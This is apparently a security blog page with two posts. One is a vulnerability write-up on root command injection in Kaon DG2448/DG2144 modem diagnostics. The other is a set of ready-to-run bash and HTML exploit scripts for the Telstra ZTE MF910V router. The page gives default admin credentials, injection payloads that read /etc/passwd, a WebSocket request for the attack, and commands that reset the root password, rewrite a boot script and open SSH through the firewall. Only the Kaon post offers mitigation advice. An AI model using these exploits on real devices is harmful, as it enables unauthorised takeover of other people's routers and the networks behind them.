Kaon DG2144 Exploit : Root Command Injection( & How To Enable SSH )

Command Injection Vulnerability in: Kaon DG2448 & DG2144 Modems

Published on 7/30/24 3:17 PM

Introduction

In this post, I’ll be sharing my findings on a critical command injection vulnerability I discovered in the Kaon DG2448 and Kaon DG2144 modems. The vulnerability is a severe flaw that allows attackers to execute arbitrary commands with root privileges through the modems' web interface. I will explain the details of how the exploit works, the potential impact, and how users and organizations can protect themselves.

The Vulnerability Overview

Upon analyzing the modems’ web service, I found that several diagnostic functions are vulnerable to command injection. These functions include:

• Ping (under Diagnostics Tab)
• Traceroute (under Diagnostics Tab)
• NsLookup (under Diagnostics Tab)
• Target (Found under Connectivity Check Tab)

These functions are designed for network diagnostics, but the lack of input sanitization opens them up to command injection vulnerabilities. Attackers can leverage this flaw to execute arbitrary shell commands on the device, potentially leading to a full system compromise.

Exploit Details: How It Works

Prerequisites

To exploit this vulnerability, an attacker must:

• Gain access to the modems’ web interface using the default credentials:
• Username: admin
• Password: admin@DG2144
• (The default credentials are widely known and, if not changed, provide an easy entry point for attackers.)
• Once logged in, the attacker can exploit the vulnerable fields under Diagnostics and Connectivity Check. By injecting commands into these fields, an attacker can execute arbitrary code.

The Command Injection

The attack begins by interacting with the Ping function, located under the Diagnostics tab. The attacker injects a command into the "Target" field, which is intended for network diagnostics but is vulnerable to command execution.

For example, by injecting the following command:

& cat /etc/passwd

This simple command causes the modem to execute the cat command, allowing the attacker to read the contents of /etc/passwd—a file that contains critical user information.

The output might include sensitive data such as:

root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
...
admin:x:0:0::/home/admin:/bin/false
        

This leak of sensitive system information could help attackers craft further attacks or escalate their privileges.

The image below shows another example of a vulnerable api endpoint in which the request was sent directly via websocket resulting in the ability to Exploit A LFI(Local File Include) directly.

Exploiting the Vulnerability

The most concerning part of this vulnerability is its ability to allow attackers to execute arbitrary commands on the system. For instance, attackers can append additional commands to the ping function, which is executed as part of a WebSocket request. The WebSocket request used to trigger the attack looks like this:

{
    "jsonrpc": "2.0",
    "id": 1317719,
    "method": "api",
    "params": {
        "path": "/admin/ping",
        "action": "post",
        "msg": {
            "target": "& cat /etc/passwd",
            "size": "16",
            "no": "3"
        },
        "sid": "2e14d9d31758725543fc2404aeec17eb"
    }
}
        

When executed, this WebSocket request triggers the modem to run the following shell command:

ping -c 3 -s 64 -i 1 -W 1 & cat /etc/passwd > /tmp/ping_result 2>&1 &

This results in the modem reading sensitive system data (i.e., /etc/passwd) and storing it in /tmp/ping_result.

Further Exploitation: Gaining Root Access

The attack doesn’t stop there. Since the system executes arbitrary commands via these diagnostic functions, the attacker can escalate the exploit by running additional commands. For example:

& echo -e "password\npassword" | passwd root
& iptables -D zone_lan_input 2
& iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT
        

With these commands, an attacker can:

• Change the root user’s password.
• Modify iptables firewall rules to allow SSH traffic on port 22.
• Enable SSH access, granting the attacker full remote access to the device.

These actions would enable an attacker to take full control of the modem and potentially use it as part of a larger network attack.

The Impact of the Vulnerability

If exploited, this command injection vulnerability gives attackers the ability to:

• Read sensitive information, such as user credentials and system files.
• Change system configurations, including enabling SSH access, modifying user privileges, and adjusting firewall settings.
• Gain full root access to the device, giving them complete control over the modem and the potential to pivot into the broader network.

Mitigation and Recommendations

If you’re using a Kaon DG2448 or DG2144 modem—or any device that may be vulnerable to similar issues—here are some essential security practices to mitigate this vulnerability:

• Change Default Credentials: Always change default usernames and passwords to strong, unique values to prevent unauthorized access.
• Update Firmware: Check for firmware updates from the manufacturer. Vulnerabilities like this can often be fixed through security patches. If updates are unavailable, consider replacing the device with a more secure model.
• Limit Web Interface Access: Use firewall rules to restrict access to the admin interface. Ensure that only trusted IPs can interact with the modem’s web interface.
• Implement Input Validation: Ensure that all input fields, especially those used for diagnostics and configuration, are properly sanitized and validated to prevent command injection.
• Disable Unnecessary Features: If you’re not using specific diagnostic functions (e.g., Ping, Traceroute), consider disabling them to minimize the attack surface.

Conclusion

The Kaon DG2448 and DG2144 modems are vulnerable to a serious command injection flaw that allows remote attackers to gain root access to the devices. This vulnerability is caused by improper input validation in the web interface's diagnostic functions. If left unpatched, it could have severe consequences for users, especially those using these devices in production or unsecured environments.

As always, it’s essential to follow best security practices: change default credentials, apply firmware updates, limit exposure, and always be on the lookout for new vulnerabilities. By staying vigilant, you can help protect your devices and networks from malicious exploitation.

Telstra ZteMF910/v Exploit Scripts

 Telstra ZteMF910/v Exploit Scripts

To utilize the exploits on the ZTE MF910V router, we will create a set of scripts in bash and HTML. These scripts will allow us to perform mode switching, enable ADB, execute AT commands, enable debug mode, exploit LFI, and gain root access. Let's go through each exploit and the corresponding scripts required.

Mode Switching and Enabling ADB

To perform mode switching and enable ADB on the ZTE MF910V router, we need to send HTTP requests to specific endpoints. We can achieve this using a bash script. Here's an example:

language-bash

#!/bin/bash

# Mode Switching
MODE_SWITCH_URL="http://192.168.0.1/goform/goform_set_cmd_process?goformId=SET_DEVICE_MODE&debug_enable=X"
MODE_SWITCH_VALUE="1"  # Change X to 0 or 1

curl -s -X POST -d "goformId=SET_DEVICE_MODE&debug_enable=$MODE_SWITCH_VALUE" $MODE_SWITCH_URL

# Enabling ADB
ADB_ENABLE_URL="http://192.168.0.1/goform/goform_set_cmd_process?goformId=USB_MODE_SWITCH&usb_mode=X"
ADB_ENABLE_VALUE="6"  # Change X to the desired mode (1-4 for RNDIS, 5 for CDC, 6 for ADB)

curl -s -X POST -d "goformId=USB_MODE_SWITCH&usb_mode=$ADB_ENABLE_VALUE" $ADB_ENABLE_URL

Save the above script as mode_switch.sh and execute it using bash mode_switch.sh. This will perform mode switching and enable ADB on the router.

Executing AT Commands and Enabling Debug Mode

To execute AT commands and enable debug mode on the ZTE MF910V router, we can use the same bash script as above. However, we need to modify the URLs and values accordingly. Here's an example:

language-bash

#!/bin/bash

# Executing AT Commands
AT_COMMANDS_URL="http://192.168.0.1/goform/goform_set_cmd_process?goformId=AT_COMMAND&command=AT+COMMAND_HERE"

curl -s -X POST -d "goformId=AT_COMMAND&command=AT+COMMAND_HERE" $AT_COMMANDS_URL

# Enabling Debug Mode
DEBUG_ENABLE_URL="http://192.168.0.1/goform/goform_set_cmd_process?goformId=SET_DEVICE_MODE&debug_enable=X"
DEBUG_ENABLE_VALUE="1"  # Change X to 0 or 1

curl -s -X POST -d "goformId=SET_DEVICE_MODE&debug_enable=$DEBUG_ENABLE_VALUE" $DEBUG_ENABLE_URL

Save the above script as at_commands.sh and execute it using bash at_commands.sh. This will execute AT commands and enable debug mode on the router.

Exploiting LFI (Local File Inclusion)

To exploit the LFI vulnerability on the ZTE MF910V router, we need to modify certain files and uncomment specific functions. We can achieve this by creating an HTML file that makes the necessary changes. Here's an example:

language-html

<!DOCTYPE html>
<html>
<head>
    <script>
        function enableSDCard() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "/goform/goform_set_cmd_process?goformId=CFG_SET&cfg_key=sd_card_state&cfg_value=1", true);
            xhr.send();
        }

        function enableHttpShare() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "/goform/goform_set_cmd_process?goformId=CFG_SET&cfg_key=httpshare_guest&cfg_value=1", true);
            xhr.send();
        }

        function enableSDCardMenu() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "/goform/goform_set_cmd_process?goformId=CFG_SET&cfg_key=sd&cfg_value=1", true);
            xhr.send();
        }

        function enableSDCardFileViewer() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "/goform/goform_set_cmd_process?goformId=CFG_SET&cfg_key=httpshare&cfg_value=1", true);
            xhr.send();
        }
    </script>
</head>
<body>
    <button onclick="enableSDCard()">Enable SD Card</button>
    <button onclick="enableHttpShare()">Enable HTTP Share</button>
    <button onclick="enableSDCardMenu()">Enable SD Card Menu</button>
    <button onclick="enableSDCardFileViewer()">Enable SD Card File Viewer</button>
</body>
</html>

Save the above code as exploit.html and open it in a web browser. Clicking on the buttons will send the necessary HTTP requests to enable the corresponding features.

Gaining Root Access

To gain root access on the ZTE MF910V router, we need to modify certain files and execute specific commands. We can achieve this by creating a bash script. Here's an example:

language-bash

#!/bin/bash

# Modify firewall_init.sh
sed -i '92,93s/^/#/' /usr/zte/zte_conf/scripts/firewall_init.sh
echo -e "echo 'password\npassword\n' | passwd" >> /usr/zte/zte_conf/scripts/firewall_init.sh

# Enable SSH
iptables -t filter -I INPUT -p tcp --dport 22 -j ACCEPT
iptables -t filter -I INPUT -p udp --dport 22 -j ACCEPT

# Reboot the device
reboot

Save the above script as root_access.sh and execute it using bash root_access.sh. This will modify the necessary files, enable SSH, and reboot the device. After the reboot, you can SSH into the router using the specified username and password.